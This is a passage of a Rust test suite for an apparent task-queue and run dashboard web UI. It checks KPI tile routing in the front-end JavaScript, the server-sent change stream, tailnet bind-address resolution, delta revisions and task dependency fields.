22039    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
22040        // Every KPI tile but Total runs and Completion names an exact
22041        // RunStatus and hands it to openRunsFiltered(), which is what wires
22042        // the click into state.runsFilter.status (matchesFilter's own
22043        // status check) rather than the coarser runsStateFilter chips. Each
22044        // status literal here must be one of the strings runSection() (and
22045        // isStale()) actually compare a run's own `status` field against -
22046        // a status this dashboard invented would filter to nothing.
22047        assert!(
22048            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
22049            "every KPI tile built through statusTile() must route its click through \
22050             openRunsFiltered, the single place that sets the Runs filter"
22051        );
22052        for (label, status) in [
22053            ("Merged", "merged"),
22054            ("Ready", "ready"),
22055            ("Blocked", "blocked"),
22056            ("Stalled", "stalled"),
22057        ] {
22058            let call = format!("statusTile(\"{label}\", t.{status}, ");
22059            assert!(
22060                APP_JS.contains(&call),
22061                "expected the {label} KPI tile built via {call}..."
22062            );
22063            assert!(
22064                APP_JS.contains(&format!("status === \"{status}\"")),
22065                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
22066                 compare a run against, not one invented only for the stats tile"
22067            );
22068        }
22069        assert!(
22070            APP_JS.contains("function openRunsFiltered(status)"),
22071            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
22072        );
22073        assert!(
22074            APP_JS.contains(
22075                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
22076            ),
22077            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
22078        );
22079        // applyRoute() only flips which view is visible for a plain `#runs`
22080        // hash - it does not itself redraw the list (see applyRoute's own
22081        // handling below) - so openRunsFiltered must call renderRuns()
22082        // itself, and must call applyRoute() too so the view flips even
22083        // when the hash string doesn't change (the operator may already be
22084        // on the Runs view when a tile is tapped, which fires no
22085        // hashchange event at all).
22086        assert!(
22087            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
22088            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
22089             hashchange event that may never fire"
22090        );
22091    }
22092
22093    #[test]
22094    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
22095        // A stats tile can leave state.runsFilter.status set to something
22096        // done-by-construction (e.g. "merged") - picking "Active" afterward
22097        // must drop it the same way an incompatible tree section is already
22098        // dropped, or the Runs list renders permanently empty with no way
22099        // for the operator to tell why.
22100        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
22101        assert!(
22102            APP_JS.contains(
22103                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
22104            ),
22105            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
22106             guard for an incompatible tree section"
22107        );
22108    }
22109
22110    #[test]
22111    fn every_stats_queue_tile_names_a_real_queue_section() {
22112        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
22113        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
22114        // (consumeQueueSectionFocus finds no matching <details> and drops
22115        // the focus) rather than fail loudly, so pin every key against the
22116        // section list it has to resolve against.
22117        assert!(
22118            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
22119            "every queue tile built through sectionTile() must route its click through \
22120             openQueueSectionFocus"
22121        );
22122        for key in ["upnext", "running", "done", "held", "blocked"] {
22123            assert!(
22124                APP_JS.contains(&format!("{{ key: \"{key}\",")),
22125                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
22126            );
22127        }
22128        // Queued and Failed intentionally both resolve to "upnext" - the
22129        // same section queueSection() itself files them under - rather than
22130        // getting a section each.
22131        for line in [
22132            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
22133            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
22134            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
22135            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
22136            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
22137            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
22138        ] {
22139            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
22140        }
22141    }
22142
22143    #[test]
22144    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
22145        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
22146        // above for the section-focus channel a stats queue tile drives:
22147        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
22148        // through the stale-search-clear recursion into renderQueue(), and
22149        // clear it only once revealQueueSection() is actually about to run -
22150        // the same trap that once silently dropped a task-focus jump.
22151        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
22152        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
22153        assert!(APP_JS.contains("function revealQueueSection(details)"));
22154        assert!(
22155            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
22156            "renderQueue() must consume both focus channels on every pass"
22157        );
22158        assert!(
22159            APP_JS.contains(
22160                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
22161            ),
22162            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
22163             the recursive renderQueue() call has nothing left to reveal"
22164        );
22165        assert!(
22166            APP_JS.contains(
22167                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
22168            ),
22169            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
22170        );
22171        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
22172        // task-focus form of the hash - a plain `#queue` navigation only
22173        // flips which view is visible. openQueueSectionFocus() must
22174        // therefore call renderQueue() itself, and applyRoute() too so the
22175        // view flips even when the hash doesn't change (the Backlog may
22176        // already be open when a tile is tapped, firing no hashchange
22177        // event at all).
22178        assert!(
22179            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
22180            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
22181             hashchange event that may never fire"
22182        );
22183    }
22184
22185    #[tokio::test]
22186    async fn the_change_stream_announces_the_current_revisions_on_connect() {
22187        let f = Fixture::start().await;
22188
22189        let mut socket = tokio::net::TcpStream::connect(f.addr)
22190            .await
22191            .expect("connect");
22192        socket
22193            .write_all(
22194                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
22195            )
22196            .await
22197            .expect("write request");
22198
22199        // Read until the first event arrives rather than to end of stream: the
22200        // stream is endless by design, which is the point of the route.
22201        let mut seen = String::new();
22202        let mut buf = [0u8; 1024];
22203        while !seen.contains("event: change") {
22204            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
22205                .await
22206                .expect("the stream must speak within five seconds")
22207                .expect("read");
22208            assert!(read > 0, "the server closed the change stream: {seen}");
22209            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
22210        }
22211
22212        assert!(
22213            seen.to_lowercase()
22214                .contains("content-type: text/event-stream"),
22215            "the browser only reconnects automatically for a real SSE stream: {seen}"
22216        );
22217        let data = seen
22218            .lines()
22219            .find_map(|l| l.strip_prefix("data:"))
22220            .expect("a data line");
22221        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
22222        assert!(
22223            payload["queue_rev"].is_u64()
22224                && payload["runs_rev"].is_u64()
22225                && payload["questions_rev"].is_u64()
22226                && payload["talks_rev"].is_u64()
22227                && payload["notifications_rev"].is_u64()
22228                && payload["loop_rev"].is_u64(),
22229            "the client needs one revision per store to know what to refetch, \
22230             and `talks_rev` is the only notification a standing talk gets - a \
22231             phone whose radio slept through a turn learns about it here, as \
22232             does one whose operator started the loop from another device: \
22233             {payload}"
22234        );
22235
22236        // The front end re-polls health on a timer and on wake, and takes the
22237        // revisions from that answer whenever the stream is not up. So health
22238        // has to carry every key the stream carries: a phone on a link that
22239        // will not hold an SSE connection is exactly the phone that must still
22240        // notice a question, and a missing key there is not a 500 but a UI
22241        // that quietly stops updating.
22242        let health = f.get("/api/health").await.json();
22243        for key in [
22244            "queue_rev",
22245            "runs_rev",
22246            "questions_rev",
22247            "talks_rev",
22248            "notifications_rev",
22249            "loop_rev",
22250        ] {
22251            assert!(
22252                health[key].is_u64(),
22253                "health is the change stream's fallback and is missing `{key}`: {health}"
22254            );
22255        }
22256    }
22257
22258    #[tokio::test]
22259    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
22260        let home = TempDir::new().expect("temp home");
22261        let ui = delta_test_ui(home.path());
22262        let talk = seed_talk_at(&ui.talks, "20260904-014455-ab12", "open");
22263        // Establish the existing conversation's baseline before appending.
22264        // Wait on the stream's shared notification rather than repeatedly
22265        // rebuilding health (config, process and disk observations included).
22266        let before = ui.monitor.revisions(&ui).await.expect("initial scan").3;
22267        let mut changes = ui.monitor.broadcaster.subscribe();
22268        let mut on_disk = ui.talks.get(&talk).expect("get seeded talk");
22269        on_disk.turns.push(crate::talk::Turn {
22270            sender: None,
22271            breaks: Some(Vec::new()),
22272            messages: Vec::new(),
22273            posted_by: None,
22274            who: crate::talk::Who::Operator,
22275            body: "a new turn".to_owned(),
22276            at: Timestamp::now(),
22277            attachments: Vec::new(),
22278            usage: None,
22279        });
22280        ui.talks.put(&mut on_disk).expect("record a turn");
22281
22282        let after = tokio::time::timeout(Duration::from_secs(5), async {
22283            loop {
22284                let change = changes.recv().await.expect("monitor notification");
22285                let revision = change.payload["talks_rev"].as_u64().expect("talks_rev");
22286                if revision != before {
22287                    assert_eq!(
22288                        change.payload["talks_delta"]["changed"],
22289                        serde_json::json!([talk])
22290                    );
22291                    break revision;
22292                }
22293            }
22294        })
22295        .await
22296        .expect("shared monitor observes external turn");
22297        assert_ne!(
22298            before, after,
22299            "a phone must be able to notice a talk's reply without polling every store"
22300        );
22301        let Json(observed) = health(State(ui)).await.expect("health");
22302        assert_eq!(
22303            observed.talks_rev, after,
22304            "health exposes the same revision"
22305        );
22306    }
22307
22308    #[test]
22309    fn bind_reads_back_from_the_spelling_the_cli_prints() {
22310        // The CLI shows the default in `--help` and parses whatever comes
22311        // back, so the two directions have to agree or `--bind auto` breaks
22312        // the moment someone copies the help text.
22313        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
22314            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
22315        }
22316        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
22317        assert!("everywhere".parse::<Bind>().is_err());
22318    }
22319
22320    #[test]
22321    fn an_explicit_bind_address_is_taken_verbatim() {
22322        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
22323
22324        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
22325
22326        assert_eq!(addr, asked);
22327        assert!(
22328            warning.is_none(),
22329            "an operator who named an address gets no lecture"
22330        );
22331    }
22332
22333    #[test]
22334    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
22335        let (addr, warning) = resolve_bind(&Bind::Auto);
22336
22337        // This has to hold on a CI runner with no `tailscale` and on a dev box
22338        // with one, so the invariant asserted is the one shared by both
22339        // outcomes: the address is either a real tailnet address offered
22340        // without comment, or loopback with an explanation. What must never
22341        // happen is a silent fallback - an operator told "listening on
22342        // 127.0.0.1" with no reason would go looking for a firewall.
22343        match addr {
22344            IpAddr::V4(ip) if is_tailnet(&ip) => {
22345                assert!(warning.is_none(), "a tailnet address needs no warning");
22346            }
22347            other => {
22348                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
22349                let warning = warning.expect("a fallback has to explain itself");
22350                assert!(
22351                    warning.contains("127.0.0.1") && warning.contains("local-only"),
22352                    "the warning says what happened and what it costs: {warning}"
22353                );
22354            }
22355        }
22356    }
22357
22358    #[test]
22359    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
22360        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
22361        // boundary cases are what stop us binding to some other tool's idea of
22362        // an address.
22363        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
22364        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
22365        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
22366        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
22367        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
22368    }
22369
22370    #[test]
22371    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
22372        let ids = vec![
22373            "20260902-140501-aaaa".to_owned(),
22374            "20260902-140502-aabb".to_owned(),
22375        ];
22376
22377        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
22378        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
22379        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
22380
22381        assert_eq!(missing.status, StatusCode::NOT_FOUND);
22382        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
22383        assert_eq!(short, "20260902-140502-aabb");
22384    }
22385    #[tokio::test]
22386    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
22387        // The prompt tells agents to reference attachments by bare filename.
22388        // A document served at `.../panel` resolves `shot.png` against its own
22389        // directory, i.e. `.../shot.png`, which is not the asset route - so a
22390        // panel written exactly as instructed showed broken images. Caught by
22391        // looking at a real one in a browser, not by reading the code.
22392        let fx = Fixture::start().await;
22393        let id = panel(
22394            &fx,
22395            "<img src=\"shot.png\">",
22396            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
22397        );
22398
22399        // The frame's own URL ends in a filename, so its siblings are reachable.
22400        let doc = fx
22401            .get(&format!("/api/questions/{id}/panel/index.html"))
22402            .await;
22403        assert_eq!(doc.status, 200, "{}", doc.body);
22404        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
22405
22406        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
22407        assert_eq!(sibling.status, 200, "{}", sibling.body);
22408        assert_eq!(sibling.header("content-type"), Some("image/png"));
22409        assert_eq!(
22410            sibling.header("content-security-policy"),
22411            Some(PANEL_CSP),
22412            "the sibling route must carry the same policy as the asset route"
22413        );
22414
22415        // The original spelling keeps working: HEAD on it is how the front end
22416        // decides whether to mount a frame at all.
22417        assert_eq!(
22418            fx.head(&format!("/api/questions/{id}/panel")).await.status,
22419            200
22420        );
22421    }
22422
22423    #[test]
22424    fn delta_stamps_cover_add_update_remove_and_noop() {
22425        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
22426        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
22427        let delta = diff_stamps(&before, &after, 42);
22428        assert_eq!(delta.base, 42);
22429        assert_eq!(delta.changed, ["b", "c"]);
22430        assert_eq!(delta.removed, ["a"]);
22431        let same = diff_stamps(&after, &after, 43);
22432        assert!(same.changed.is_empty() && same.removed.is_empty());
22433        assert_ne!(stamps_revision(&before), stamps_revision(&after));
22434        let nanos: Stamps = [("b".into(), (2, 20))].into();
22435        let same_ms: Stamps = [("b".into(), (3, 20))].into();
22436        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
22437        assert_eq!(stamps_revision(&Stamps::new()), 0);
22438    }
22439
22440    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
22441        std::fs::create_dir_all(home.join("runs")).unwrap();
22442        Arc::new(
22443            Ui::new(
22444                Queue::at(home.join("queue")),
22445                Questions::at(home.join("questions")),
22446                Talks::at(home.join("talks")),
22447                home.join("runs"),
22448                home.to_owned(),
22449                PathBuf::from("/repo/magi"),
22450            )
22451            .with_worktrees_root(home.join("wt")),
22452        )
22453    }
22454
22455    #[test]
22456    fn monitor_scan_isolates_store_failures_and_recovers() {
22457        let home = TempDir::new().unwrap();
22458        let ui = delta_test_ui(home.path());
22459        std::fs::create_dir_all(ui.questions.root()).unwrap();
22460        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
22461        let before = monitor_scan(&ui, None);
22462        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
22463        std::fs::write(ui.questions.root(), "not a directory").unwrap();
22464        std::fs::create_dir_all(ui.talks.root()).unwrap();
22465        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
22466        let during = monitor_scan(&ui, Some(before.clone()));
22467        assert_eq!(during.0.2, before.0.2);
22468        assert_ne!(during.0.3, before.0.3);
22469        assert!(during.1[2].contains_key("new"));
22470        std::fs::remove_file(ui.questions.root()).unwrap();
22471        let after = monitor_scan(&ui, Some(during));
22472        assert_eq!(after.0.2, 0);
22473        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
22474        // A failed first scan also permits healthy stores to publish.
22475        std::fs::write(ui.questions.root(), "not a directory").unwrap();
22476        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
22477    }
22478
22479    #[tokio::test]
22480    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
22481        let home = TempDir::new().unwrap();
22482        let ui = delta_test_ui(home.path());
22483        let mut task = Task::new(
22484            "stream task".into(),
22485            "text".into(),
22486            PathBuf::from("/repo"),
22487            Source::Human,
22488        );
22489        ui.queue.put(&mut task).unwrap();
22490        let response = events(State(ui.clone())).await.into_response();
22491        let mut stream = response.into_body().into_data_stream();
22492        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
22493            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
22494                .await
22495                .unwrap()
22496                .unwrap()
22497                .unwrap();
22498            let text = String::from_utf8(chunk.to_vec()).unwrap();
22499            let data = text
22500                .lines()
22501                .find_map(|line| {
22502                    line.strip_prefix("data: ")
22503                        .or_else(|| line.strip_prefix("data:"))
22504                })
22505                .unwrap();
22506            serde_json::from_str(data).unwrap()
22507        }
22508        let initial = change(&mut stream).await;
22509        assert!(initial.get("queue_delta").is_none());
22510        task.instruction.push_str(" changed");
22511        ui.queue.put(&mut task).unwrap();
22512        let updated = change(&mut stream).await;
22513        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
22514        assert_eq!(
22515            updated["queue_delta"]["changed"],
22516            serde_json::json!([task.id])
22517        );
22518        assert_eq!(
22519            updated["queue_rev"].as_u64(),
22520            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
22521        );
22522        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
22523        let removed = change(&mut stream).await;
22524        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
22525        assert_eq!(
22526            removed["queue_delta"]["removed"],
22527            serde_json::json!([task.id])
22528        );
22529    }
22530
22531    #[tokio::test]
22532    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
22533        let home = TempDir::new().unwrap();
22534        let ui = delta_test_ui(home.path());
22535        let queue = ui.queue.clone();
22536        let query = |ids: Option<&str>| {
22537            Query(ListQuery {
22538                limit: Some(2),
22539                ids: ids.map(str::to_owned),
22540            })
22541        };
22542        let mut root = Task::new(
22543            "root".into(),
22544            "instruction".into(),
22545            PathBuf::from("/repo"),
22546            Source::Human,
22547        );
22548        queue.put(&mut root).unwrap();
22549        let mut blocked = Task::new(
22550            "blocked".into(),
22551            "instruction".into(),
22552            PathBuf::from("/repo"),
22553            Source::Human,
22554        );
22555        blocked.block(vec![root.id.clone()], None);
22556        queue.put(&mut blocked).unwrap();
22557        let whole =
22558            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
22559                .unwrap();
22560        let subset = serde_json::to_value(
22561            queue_list(State(ui.clone()), query(Some(&root.id)))
22562                .await
22563                .unwrap()
22564                .0,
22565        )
22566        .unwrap();
22567        assert_eq!(whole, subset, "requested root plus its blocked dependent");
22568        let blockers = serde_json::to_value(
22569            queue_list(State(ui.clone()), query(Some("")))
22570                .await
22571                .unwrap()
22572                .0,
22573        )
22574        .unwrap();
22575        assert_eq!(blockers.as_array().unwrap().len(), 1);
22576        assert_eq!(blockers[0]["id"], blocked.id);
22577        assert_eq!(
22578            blockers[0]["waits_on"],
22579            whole
22580                .as_array()
22581                .unwrap()
22582                .iter()
22583                .find(|row| row["id"] == blocked.id)
22584                .unwrap()["waits_on"]
22585        );
22586
22587        for id in [
22588            "20260902-140501-aaaa",
22589            "20260902-140502-bbbb",
22590            "20260902-140503-cccc",
22591        ] {
22592            write_run(&ui.runs, id, RunStatus::Merged);
22593        }
22594        let old = serde_json::to_value(
22595            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
22596                .await
22597                .unwrap()
22598                .0,
22599        )
22600        .unwrap();
22601        assert!(
22602            old.as_array().unwrap().is_empty(),
22603            "older updates must not enter the window"
22604        );
22605        let newest = serde_json::to_value(
22606            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
22607                .await
22608                .unwrap()
22609                .0,
22610        )
22611        .unwrap();
22612        assert_eq!(newest.as_array().unwrap().len(), 1);
22613        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
22614
22615        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
22616        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
22617        let talks = serde_json::to_value(
22618            talks_list(
22619                State(ui.clone()),
22620                query(Some("20260905-000000-d4e5")),
22621                header::HeaderMap::new(),
22622            )
22623            .await
22624            .unwrap()
22625            .0,
22626        )
22627        .unwrap();
22628        assert_eq!(talks.as_array().unwrap().len(), 1);
22629        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
22630        assert_eq!(
22631            serde_json::to_value(
22632                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
22633                    .await
22634                    .unwrap()
22635                    .0
22636            )
22637            .unwrap(),
22638            serde_json::json!([])
22639        );
22640    }
22641
22642    #[tokio::test]
22643    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
22644    async fn delta_payload_benchmark() {
22645        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
22646        let ui = delta_test_ui(&home);
22647        let query = |ids: Option<String>| {
22648            Query(ListQuery {
22649                limit: Some(50),
22650                ids,
22651            })
22652        };
22653        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
22654        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
22655        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
22656            .await
22657            .unwrap()
22658            .0;
22659        let queue_id = queue
22660            .iter()
22661            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
22662            .unwrap_or(&queue[0])
22663            .task
22664            .id
22665            .clone();
22666        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
22667            .await
22668            .unwrap()
22669            .0;
22670        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
22671            .await
22672            .unwrap()
22673            .0;
22674        let talks_delta = talks_list(
22675            State(ui.clone()),
22676            query(Some(talks[0].id.clone())),
22677            header::HeaderMap::new(),
22678        )
22679        .await
22680        .unwrap()
22681        .0;
22682        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
22683        eprintln!(
22684            "DELTA_PAYLOAD {}",
22685            serde_json::json!({
22686                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
22687                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
22688                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
22689                "counts": [queue.len(), runs.len(), talks.len()],
22690                "blocked": queue_delta.len() - 1,
22691            })
22692        );
22693    }
22694
22695    #[test]
22696    fn runs_revision_moves_when_deleting_an_older_run() {
22697        let temp = TempDir::new().expect("tempdir");
22698        let runs = temp.path().join("runs");
22699        std::fs::create_dir_all(&runs).expect("create runs dir");
22700
22701        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
22702
22703        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
22704        std::thread::sleep(Duration::from_millis(10));
22705        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
22706
22707        let rev_before = runs_revision(&runs);
22708        assert!(rev_before > 0);
22709
22710        let old_dir = runs.join("20260901-100000-old1");
22711        std::fs::remove_dir_all(&old_dir).expect("remove old run");
22712
22713        let rev_after = runs_revision(&runs);
22714        assert_ne!(
22715            rev_before, rev_after,
22716            "deleting an older run must change the revision so other clients see the deletion"
22717        );
22718    }
22719
22720    /// A run's own `run.json` on an explicit `runs` root, bypassing the
22721    /// process-global home entirely — `RunState::save` writes through
22722    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
22723    /// (see `tests::home_lock` in the integration suite for why).
22724    fn write_state(runs: &FsPath, state: &RunState) {
22725        let dir = runs.join(&state.id);
22726        std::fs::create_dir_all(&dir).expect("run dir");
22727        std::fs::write(
22728            dir.join("run.json"),
22729            serde_json::to_string_pretty(state).expect("serialize run"),
22730        )
22731        .expect("write run.json");
22732    }
22733
22734    /// A seat starting or finishing is a write to `run.json` like any other,
22735    /// so it moves the same revision the change stream already watches —
22736    /// nothing new for `/api/events` to learn, but the property this feature
22737    /// depends on to reach the phone without a poll.
22738    #[test]
22739    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
22740        let temp = TempDir::new().expect("tempdir");
22741        let runs = temp.path().join("runs");
22742        std::fs::create_dir_all(&runs).expect("create runs dir");
22743        let mut state = RunState::new(
22744            PathBuf::from("/repo/magi"),
22745            "main".to_owned(),
22746            "0123456789abcdef".to_owned(),
22747            "task".to_owned(),
22748            Config::default(),
22749        );
22750        state.id = "20260902-100000-c0de".to_owned();
22751        write_state(&runs, &state);
22752
22753        let rev_idle = runs_revision(&runs);
22754        std::thread::sleep(Duration::from_millis(10));
22755        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
22756        write_state(&runs, &state);
22757        let rev_started = runs_revision(&runs);
22758        assert_ne!(
22759            rev_idle, rev_started,
22760            "a seat starting must move the revision"
22761        );
22762
22763        std::thread::sleep(Duration::from_millis(10));
22764        state.seat_finished("judge-1");
22765        write_state(&runs, &state);
22766        let rev_finished = runs_revision(&runs);
22767        assert_ne!(
22768            rev_started, rev_finished,
22769            "and clearing it again must move the revision a second time"
22770        );
22771    }
22772
22773    #[tokio::test]
22774    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
22775        // `TaskView` flattens `Task`, so this is really asserting that
22776        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
22777        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
22778        // never touched web.rs, so nothing here caught it if it had.
22779        let fx = Fixture::start().await;
22780        let q = fx.queue();
22781
22782        let mut t = Task::new(
22783            "Task".to_owned(),
22784            "Instruction".to_owned(),
22785            PathBuf::from("/repo"),
22786            Source::Human,
22787        );
22788        t.block(
22789            vec!["20260101-000000-dead".to_owned()],
22790            Some("waiting on Task 1".to_owned()),
22791        );
22792        t.answers.push(crate::queue::AnsweredQuestion {
22793            question: "Which backend?".to_owned(),
22794            answer: "SQLite".to_owned(),
22795        });
22796        q.put(&mut t).expect("put t");
22797
22798        let res = fx.get("/api/queue").await;
22799        assert_eq!(res.status, 200);
22800        let list = res.json();
22801        let view = list
22802            .as_array()
22803            .expect("array")
22804            .iter()
22805            .find(|v| v["id"] == t.id)
22806            .expect("task in list");
22807        assert_eq!(view["status_str"], "blocked");
22808        assert_eq!(
22809            view["blocked_by"],
22810            serde_json::json!(["20260101-000000-dead"])
22811        );
22812        assert_eq!(view["block_reason"], "waiting on Task 1");
22813        assert_eq!(view["answers"][0]["question"], "Which backend?");
22814        assert_eq!(view["answers"][0]["answer"], "SQLite");
22815
22816        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
22817        // but never `answers` - that is a settled decision, not state
22818        // describing the current block, so it survives.
22819        let res = fx
22820            .post(&format!("/api/queue/{}/hold", t.short()), None)
22821            .await;
22822        assert_eq!(res.status, 200);
22823        let held = res.json();
22824        assert_eq!(held["status_str"], "held");
22825        assert_eq!(held["blocked_by"], serde_json::json!([]));
22826        assert!(held["block_reason"].is_null());
22827        assert_eq!(held["answers"][0]["answer"], "SQLite");
22828    }
22829
22830    #[tokio::test]
22831    async fn task_recovery_pending_decisions_block_disk_autoresume() {
22832        let fx = Fixture::start().await;
22833        let queue = fx.queue();
22834        let questions = fx.questions();
22835        let mut task = Task::new(
22836            "Disk recovery".into(),
22837            "Inspect".into(),
22838            PathBuf::from("/repo"),
22839            Source::Human,
22840        );
22841        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
22842        task.mark_disk_capacity();
22843        queue.put(&mut task).unwrap();
22844        let mut records = Vec::new();
22845        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
22846            let mut q = Question::new(
22847                task.id.clone(),
22848                node.into(),
22849                "triage".into(),
22850                "Resume recovery?".into(),
22851                String::new(),
22852                vec![],
22853            );
22854            q.routed_task = Some(task.id.clone());
22855            questions.put(&mut q).unwrap();
22856            records.push(q);
22857        }
22858        let url = format!("/api/queue/{}", task.id);
22859        let view = fx.get(&url).await.json();
22860        assert_eq!(view["status_str"], "held");
22861        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22862        assert!(
22863            view["recovery"]
22864                .as_str()
22865                .unwrap()
22866                .contains("Disk recovery alone will not resume")
22867        );
22868        assert!(
22869            view["recovery"]
22870                .as_str()
22871                .unwrap()
22872                .contains("Disk wait (automatically monitored)")
22873        );
22874        for blocker in view["blockers"].as_array().unwrap() {
